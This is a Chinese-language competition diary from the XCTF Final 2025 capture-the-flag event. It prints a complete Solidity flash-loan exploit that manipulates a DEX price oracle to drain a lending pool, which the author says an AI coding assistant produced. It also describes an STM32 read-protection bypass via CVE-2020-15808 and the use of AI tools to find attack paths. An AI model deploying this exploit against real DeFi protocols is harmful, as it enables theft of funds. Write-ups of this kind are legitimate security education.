Day -1

比赛前几天就到这附近了(江浙沪就是附近!),去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战,印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。(当然如果给底层原理也就不会有下面这条了)

Day 1

这场比赛算是,对于AI感知最大的一场了…?

Misc - Warp Finance

比较简单(?的闪电贷套利。今年初的VNCTF 2025才出过一个类似的,同样ethernaut也有类似的题目。打开claude code试一试,结果它还真给出了一个能用的脚本。

Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.23;import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/Setup.sol";import "./Attacker.sol";import "./SimpleAttacker.sol";contract SolveScript is Script {    Setup public setup;    Attacker public attacker;    SimpleAttacker public simpleAttacker;        function run() external {        // Setup the environment        vm.startBroadcast();                // Deploy Setup contract        setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);        // setup = new Setup();        console.log("Setup deployed at:", address(setup));                // Deploy Simple Attacker contract          simpleAttacker = new SimpleAttacker(address(setup));        console.log("SimpleAttacker deployed at:", address(simpleAttacker));                // Log initial state        console.log("=== Initial State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Flash minter balance:", setup.stableToken().balanceOf(address(setup.flashMinter())));        console.log("Is solved before attack:", setup.isSolved());                // Get DEX reserves before attack        (uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();        console.log("DEX reserves before - Collateral:", reserve0Before, "Stable:", reserve1Before);                // Execute the attack        console.log("\n=== Executing Attack ===");        simpleAttacker.attack();                // Check balances after attack        console.log("\n=== Post-Attack State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("SimpleAttacker stable balance:", setup.stableToken().balanceOf(address(simpleAttacker)));                // Get DEX reserves after attack        (uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();        console.log("DEX reserves after - Collateral:", reserve0After, "Stable:", reserve1After);                // Check if solved        console.log("Is solved after attack:", setup.isSolved());                // Verify target conditions        uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));        uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);                console.log("\n=== Target Verification ===");        console.log("Target pool balance:", setup.TARGET_POOL_BALANCE());        console.log("Actual pool balance:", poolBalance);        console.log("Target player balance:", setup.TARGET_PLAYER_BALANCE());        console.log("Actual player balance:", playerBalance);                bool poolCondition = poolBalance <= setup.TARGET_POOL_BALANCE();        bool playerCondition = playerBalance >= setup.TARGET_PLAYER_BALANCE();                console.log("Pool condition met:", poolCondition);        console.log("Player condition met:", playerCondition);        console.log("Challenge solved:", poolCondition && playerCondition);                vm.stopBroadcast();    }        // Alternative function to run attack on existing setup    function runWithExistingSetup(address setupAddress) external {        vm.startBroadcast();                setup = Setup(setupAddress);        console.log("Using existing Setup at:", setupAddress);                // Deploy SimpleAttacker contract        simpleAttacker = new SimpleAttacker(setupAddress);        console.log("SimpleAttacker deployed at:", address(simpleAttacker));                // Log initial state        console.log("=== Initial State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Is solved before attack:", setup.isSolved());                // Execute the attack        console.log("\n=== Executing Attack ===");        simpleAttacker.attack();                // Check final state        console.log("\n=== Final State ===");        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));        console.log("Is solved:", setup.isSolved());                vm.stopBroadcast();    }}
Solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.23;import "../src/Setup.sol";import "../src/core/WarpDexPair.sol";import "../src/core/WarpLendingPool.sol";import "../src/utils/StableFlashMinter.sol";import "../src/tokens/MockERC20.sol";contract SimpleAttacker {    Setup public setup;    MockERC20 public collateralToken;    MockERC20 public stableToken;    WarpDexPair public dex;    WarpLendingPool public pool;    StableFlashMinter public flashMinter;        address public owner;        constructor(address _setup) {        setup = Setup(_setup);        collateralToken = setup.collateralToken();        stableToken = setup.stableToken();        dex = setup.dex();        pool = setup.pool();        flashMinter = setup.flashMinter();        owner = msg.sender;    }        function attack() external {        require(msg.sender == owner, "Only owner can attack");                // Claim initial tokens first        setup.claim();                // Execute multiple flash loans to extract maximum value        for (uint256 i = 0; i < 5; i++) {            uint256 available = stableToken.balanceOf(address(flashMinter));            if (available > 1 ether) {                bytes memory data = abi.encode(i);                flashMinter.flashBorrow(available, data);            } else {                break;            }        }                // Final cleanup: withdraw any remaining collateral        _finalCleanup();    }        function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {        require(msg.sender == address(flashMinter), "Only flash minter can call");                uint256 round = abi.decode(data, (uint256));                // Calculate repayment amount        uint256 repayAmount = amount + fee;                if (round == 0) {            // First round: major price manipulation and pool draining            _firstRoundAttack(amount, repayAmount);        } else {            // Subsequent rounds: extract more value from collateral            _extractMoreValue(amount, repayAmount);        }                // Always ensure repayment        _ensureRepayment(repayAmount);                // Transfer any remaining profit to owner        uint256 profit = stableToken.balanceOf(address(this));        if (profit > 0) {            stableToken.transfer(owner, profit);        }    }        function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {        // Use most of flash loan for price manipulation        uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation                // Swap to get collateral at low price        stableToken.approve(address(dex), manipulationAmount);        uint256 collateralReceived = dex.swap(            address(stableToken),            manipulationAmount,            0,            address(this)        );                // Deposit all collateral to maximize borrowing power        collateralToken.approve(address(pool), collateralReceived);        pool.depositCollateral(collateralReceived);                // Borrow everything possible from the pool        uint256 poolBalance = stableToken.balanceOf(address(pool));        (,uint256 maxBorrowable,) = pool.accountStatus(address(this));                uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance;        if (borrowAmount > 0) {            pool.borrow(borrowAmount);        }    }        function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {        // For later rounds, focus on extracting value from our collateral position        uint256 collateralDeposited = pool.collateralDeposits(address(this));        uint256 currentDebt = pool.debt(address(this));                if (collateralDeposited > 0) {            // Calculate how much we can safely withdraw            (uint256 collateralValue,,) = pool.accountStatus(address(this));                        // Minimum collateral value needed to maintain position            uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();                        if (collateralValue > minCollateralValue) {                // We can withdraw some excess collateral                uint256 excessValue = collateralValue - minCollateralValue;                uint256 currentPrice = dex.spotPrice(address(collateralToken));                uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;                                // Withdraw with safety margin                maxWithdraw = (maxWithdraw * 90) / 100;                                if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) {                    pool.withdrawCollateral(maxWithdraw);                                        // Sell the withdrawn collateral                    collateralToken.approve(address(dex), maxWithdraw);                    dex.swap(                        address(collateralToken),                        maxWithdraw,                        0,                        address(this)                    );                }            }                        // Try to do another round of price manipulation with available funds            uint256 availableForManipulation = stableToken.balanceOf(address(this));            if (availableForManipulation > repayAmount + 100 ether) {                uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;                                // Another round of price manipulation                stableToken.approve(address(dex), manipAmount);                uint256 newCollateral = dex.swap(                    address(stableToken),                    manipAmount,                    0,                    address(this)                );                                // Deposit and borrow again                collateralToken.approve(address(pool), newCollateral);                pool.depositCollateral(newCollateral);                                (,uint256 newMaxBorrow,) = pool.accountStatus(address(this));                uint256 additionalBorrow = newMaxBorrow - currentDebt;                                uint256 poolBalance = stableToken.balanceOf(address(pool));                if (additionalBorrow > 0 && additionalBorrow <= poolBalance) {                    pool.borrow(additionalBorrow);                }            }        }    }        function _ensureRepayment(uint256 repayAmount) internal {        uint256 currentBalance = stableToken.balanceOf(address(this));                if (currentBalance < repayAmount) {            uint256 shortage = repayAmount - currentBalance;                        // Withdraw collateral to cover shortage            (uint112 reserve0, uint112 reserve1) = dex.getReserves();            uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);                        uint256 availableCollateral = pool.collateralDeposits(address(this));            if (collateralNeeded > availableCollateral) {                collateralNeeded = availableCollateral;            }                        if (collateralNeeded > 0) {                pool.withdrawCollateral(collateralNeeded);                collateralToken.approve(address(dex), collateralNeeded);                dex.swap(                    address(collateralToken),                    collateralNeeded,                    0,                    address(this)                );            }        }                // Repay the flash loan        stableToken.transfer(address(flashMinter), repayAmount);    }        function _finalCleanup() internal {        // Extract any remaining collateral value        uint256 remainingCollateral = pool.collateralDeposits(address(this));        uint256 currentDebt = pool.debt(address(this));                if (remainingCollateral > 0) {            // Try to withdraw remaining collateral if debt allows            if (currentDebt == 0) {                // No debt, can withdraw everything                pool.withdrawCollateral(remainingCollateral);                collateralToken.approve(address(dex), remainingCollateral);                dex.swap(                    address(collateralToken),                    remainingCollateral,                    0,                    owner                );            } else {                // Calculate safe withdrawal amount                (uint256 collateralValue,,) = pool.accountStatus(address(this));                uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();                                if (collateralValue > minRequired) {                    uint256 excessValue = collateralValue - minRequired;                    uint256 currentPrice = dex.spotPrice(address(collateralToken));                    uint256 withdrawable = (excessValue * 1e18) / currentPrice;                    withdrawable = (withdrawable * 95) / 100; // Safety margin                                        if (withdrawable > 0 && withdrawable <= remainingCollateral) {                        pool.withdrawCollateral(withdrawable);                        collateralToken.approve(address(dex), withdrawable);                        dex.swap(                            address(collateralToken),                            withdrawable,                            0,                            owner                        );                    }                }            }        }                // Transfer any remaining stable tokens to owner        uint256 remainingStable = stableToken.balanceOf(address(this));        if (remainingStable > 0) {            stableToken.transfer(owner, remainingStable);        }    }        // Check if attack was successful    function checkSuccess() external view returns (bool) {        return setup.isSolved();    }}

于是拿了一血。

Misc - GhostTunnel

这个比较有意思的一个golang实现的tunnel,但是第一问被非预期了——给了core dump,strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…

如果正常来做的话,首先观察发现是upx的,想办法脱壳:(尝试用qiling跑模拟,调了半天发现upx可以直接解)而后拖入ida观察发现有这样的定义_golang,也能找到一些golang风格的调用。

GitHub - mandiant/GoReSym: Go symbol recovery tool用了这个软件拿到了golang的符号,大概(用AI)看了眼发现了主要逻辑的位置,没往后逆了,过几天看看有没有空补上。预期做法大概是从core dump里拿密钥,然后再解密流量拿flag。不过最后是零解,想必也不是很简单了。

Reverse - Rewrite it in Rust

一个wasm,js里没啥内容??主要逻辑都在wasm二进制里,怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。

Realworld - STM32-MorseCode

一块开发版,要求是在Pin C13上敲XCTF的morse 电码就给uid,然后把uid通过Mifare Classic Tool 写入就能在现场刷卡了

Solidity
__   __ _____  _______  ______            ____    _____  _____\ \ / // ____||__   __||  ____|          / __ \  / ____||  __ \ \ V /| |        | |   | |__      \ /   | |  | || (___  | |__) |  > < | |        | |   |  __|      X    | |  | | \___ \ |  _  / / . \| |____    | |   | |        / \   | |__| | ____) || | \ \/_/ \_\\_____|   |_|   |_|               \____/ |_____/ |_|  \_\[*] Welcome to XCTF Final 2025 ~[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID ![2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !

Realworld - STM32-RDPBypass

和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取,而后读取内存上的0x0800F000处的uid。

💡 RDP是Read Protection。在STM32中,flash和CPU,memory等固件被一起封装到MCU片中,这样我们就无法使用烧录夹来单独读取flash固件中的内容了(对比esp32?)。所以为了让在mcu中的flash也无法被读取,stm设计了一套读保护机制,在使用stlink或者jlink这类调试器时,系统不会允许读取flash中的内容。

于是RDP bypass就是用来读取这样内容的。

根据提示有两种方法,一种是Glitch Attack,我没用这个方法(其实就是没找到Orz)放一篇paper吧。

View of Shaping the Glitch: Optimizing Voltage Fault Injection Attacks

第二种是CVE,根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置

Tweet: https://x.com/horac341/status/1311911734572208129

以及一篇pdf

i.blackhat.com

由此可以定位到相关的函数(其他地方应该也有,大概是a2这个结构体)

经过仔细比对确实是没有长度检查,对比后来的stm32库中的代码,在这个库中https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c

才添加了相对应的长度check,堵死了这个漏洞。

于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request,就能读取到数据的内容。

但是由于用脑过度没能做出来,遗憾。

💡 赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备,彻底失败。

过几天复现了再发一篇文章😭

Day 2 AWD

原汁原味的AWD(存疑。

因为主要是web和pwn,没我什么事情,所以负责写脚本,批量化运行exp并提交flag。(乐

当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code,然后等一会就能看到攻击路径,然后写代码就好了。。。

但是比较新奇的是增加了可以看flag的流量包和其他选手的patch,所以这比awdp更有趣更刺激。

solo

solo是两位crypto小伙伴做的。在开始第一轮时我们是前4,所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto,没看。下面一场8 - 4 是 re, 同样用mcp扔给gpt是rc2,搓了脚本秒出。4 - 2 是vm,好消息是代码很短,稍微理一理逻辑,也不是很难的。

最后一个是pwn,对手是我们的pwn老大tplus(为什么在我们对面!),毫无疑问地输了。

END

燃尽了,睡酒店里还被蚊子咬了好多包!睡觉去了Orz